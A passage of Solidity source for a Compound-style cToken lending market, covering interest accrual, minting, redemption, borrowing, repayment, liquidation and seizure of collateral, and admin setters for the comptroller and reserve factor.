FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr)); } (mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr)); } (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } struct MintLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; uint actualMintAmount; } /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) { /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0); } MintLocalVars memory vars; (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ vars.actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa})); require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED"); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"); (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[minter] = vars.accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, vars.actualMintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ // unused function // comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens); return (uint(Error.NO_ERROR), vars.actualMintAmount); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount); } struct RedeemLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr)); } } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr)); } vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, vars.redeemAmount); /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0); } /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"); (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ // unused function // comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external override nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { /* Fail if seize not allowed */ uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ (mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr)); } (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountTokens[borrower] = borrowerTokensNew; accountTokens[liquidator] = liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, seizeTokens); /* We call the defense hook */ // unused function // comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external override returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external override returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public override returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external override nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function 